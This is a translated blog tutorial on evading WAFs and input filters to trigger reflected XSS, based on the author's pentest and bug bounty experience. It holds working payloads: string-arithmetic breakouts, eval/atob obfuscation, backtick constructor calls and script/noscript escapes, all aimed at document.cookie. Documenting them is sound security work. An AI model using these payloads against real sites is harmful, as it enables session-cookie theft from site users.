Arang.dev
搜索

XSS 绕过 WAF 及过滤技术

在模拟黑客攻击及漏洞赏金项目中分析 XSS 漏洞时总结的 WAF 绕过及过滤规避技术

#web-security#xss#bypass#waf
🌐 已翻译

本文由 AI 从韩语机器翻译,部分表达可能与原文有所不同。

阅读原文(韩语)

[Summary]

本文基于在各种渗透测试(Penetration Testing)和漏洞赏金(Bug Bounty)项目中分析 XSS 漏洞所获得的经验编写而成。

整理了一些绕过服务器源代码端过滤及网络端 WAF 过滤,从而成功利用 XSS Exploit 的技术。

[Example 1]

条件 1

当请求 https://ar9ang3.com/?param1=abc 时(虽然现在是 GET 请求,但 POST 请求也适用)

条件 2

服务器端请求的 URI 直接被插入到 javascript 端时

<script>

document.location.href = 'https://ar9ang3.tistory.com/?param1=abc';

</script>

限制条件 3

%3b(;) 和 %2b(+) 在 WAF 端被过滤,导致无法逃逸 document.location.href= 等语句时

绕过及 XSS 触发代码 1 (Reflected XSS)

执行“字符串 - Native Function - 字符串”的操作时,在计算字符串结果的过程中会执行 Native Function(原生函数)。因此,如果有 document.location="abc"-alert(document.cookie)-"def"; 这样的语句,无论 document.location 的结果如何,alert(document.cookie) 语句都会被执行。

{example}

?param1=abc'-alert(document.cookie)-'def

<script>

document.location.href = 'https://ar9ang3.tistory.com/?param1=abc'-alert(document.cookie)-'def';

</script>

绕过及 XSS 触发代码 2 (Redirect to other Site)

与上面的触发代码 1 类似,但区别在于使用了 && 运算符。

?param1=abc'&&'https://ar9ang3.com/

<script>

document.location.href = 'https://ar9ang3.tistory.com/?param1=abc'&&'https://ar9ang3.com/';

</script>

像这样就可以实现绕过。

对于绕过代码 1,document.location.href 后的字符串变成了“字符串 - alert(1)的结果值 - 字符串”,而“字符串 - 字符串(常量)”会变成 NaN,导致请求 host 的 /NaN。但这中间 alert 对应的代码会被执行。

对于绕过代码 2,执行“字符串 && 字符串”时,后面的字符串会最终生效,因此 document.location.href 最终会按照后面写入的语句运行,从而重定向到我想要的页面。

WAF Bypass Tips

过滤 . 时

document.cookie => document['cookie']

过滤 (" ") 时

eval("alert(1)") => eval[alert(1)]

过滤 ; 或 + 时

'abc'-alert(1)-'def' => 需要函数执行后代入正常字符串时 => 'abc'-alert(1)^1&&'normal_string_here'

综合来看

'abc'-eval[alert(document['cookie'])]^1&&'normal_string_here'

代入 document.location.href 的字符串中:

document.location.href = 'abcdef?param1=haha'-eval[alert(document['cookie'])]^1&&'https://ar9ang3.com/';

More Filtering Bypass tips

假设可以插入任意 JavaScript 语句,我们需要考虑两点。

1. 插入的 JavaScript 语句是否会导致“JavaScript 语法错误”

2. 插入的 JavaScript 语句是否会被过滤

<< 1. 插入的 JavaScript 语句是否会导致“JavaScript 语法错误” >>

针对第 1 点,可以通过 jsbeautifier、sublimetext 等 beautify 或 IDE 工具来查找语法错误(如括号错误等)。如果出错导致 JavaScript 语句无法正常执行,可以查看 Chrome 开发者工具控制台中的 JavaScript 错误信息来定位语法错误。例如:

 try {
    if ('injection'==<%=request.getParameter("param")%>) {
        var a = "%inject here%";
    }
    var f = function(x) {
        var z = {
            a : 1,
            b : 2,
            c : 3
        };
        return a;
    }
} catch (e) { 
    console.log("err");
}

在上述语句中,假设我们可以在 inject here 处插入任意 JavaScript 语句。在 try 语句内的 if 语句中声明 var a 的过程中发生了注入。为了执行我们想要的脚本,必须重构 JavaScript 代码,使其无论 if 条件如何都能运行。

[Method 1]

image

第一种方法是修正语法。如果按照语境完整插入,可以看到 JavaScript 代码正常执行。

[Method 2]

第二种方法如下:

 try {
    if ('injection'==<%=request.getParameter("param")%>) {
        var a = "blahblah";
    }
} catch(e) { }
alert(document.cookie);
</script>
<noscript>";
    }
    var f = function(x) {
        var z = {
            a : 1,
            b : 2,
            c : 3
        };
        return a;
    }
} catch (e) { 
    console.log("err");
}

如果可以插入 </script> 和 <noscript>,可以用上述语句粗略地闭合,执行脚本后关闭 script 标签并让 noscript 运行。

除了上述介绍的方法外,XSS 触发的情况非常多样,因此必须根据具体情况进行 Exploit。如果我们输入的参数进入了 html 脚本内的两个位置,并因此引发错误,可以使用 `(Back Quote) 将两个插入点之间的所有代码变为字符串,或者利用 /* */ 等注释代码将两个插入点之间的所有字符无效化。通过这种方式,可以使用多种方法来规避 JavaScript 语法错误。

<< 2. 插入的 JavaScript 语句是否会被过滤 >>

被过滤的字符串多种多样。<, >, ', ", (, ), `, ;, %, &, +

当上述 Character 被过滤时,介绍一些绕过方法。

Example Code

-> alert(document.cookie);

过滤 alert 等 native function 本身时

var a=alert; a(document.cookie);

过滤 document.cookie 等时

var a='alert'; var b='(documen'; var c='t.cooki'; var d='e)'; var e=eval; e(a+b+c+d);

过滤某些字符串时

var a=eval; a(atob("YWxlcnQoZG9jdW1lbnQuY29va2llKQ=="));

BASE64 编码后执行

过滤 ' / " 时

?param_a=&param_b=;alert(document.cookie);var%20z='

var a='**'; var b=';alert(document.cookie);var z='**';

过滤 ( ) 括号时

alert`123`;

btoa.constructor`alert\x28document.cookie\x29

对此多做一点解释,`(back quote) 是个稍微特殊的 Character。创建字符串时可以使用,执行函数时也可以像 alert`123`; 这样传递参数。因此再多提一点,利用 btoa 等 Native function 的 constructor method,并将字符串形式的脚本语句作为参数传递,该脚本就会被指定为 btoa 的 constructor function。之后通过写两次 `(back quote) 来执行 btoa,从而执行前面保存的脚本语句。此外,JavaScript 会自动转换 \x28 等 Ascii hex,因此 \x28, \u28, ( 等语句在字符串内会自动转换为 ascii character。因此最终会执行 alert(document.cookie) 语句。


我们探讨了在各种情况下成功利用 XSS 的方法,坦白说,对于 XSS,缓解措施(Mitigation)的实现多种多样,插入的位置和情况也各不相同。因此,我认为重要的不是千篇一律的绕过技术,而是根据当时的情况灵活绕过。最近也看到了韩文 XSS、片假名 XSS 等内容,像这样新的方法层出不穷。我就不一一提及这些内容了,写到这里作为结束。

评论

正在加载评论...
XSS 绕过 WAF 及过滤技术 | Arang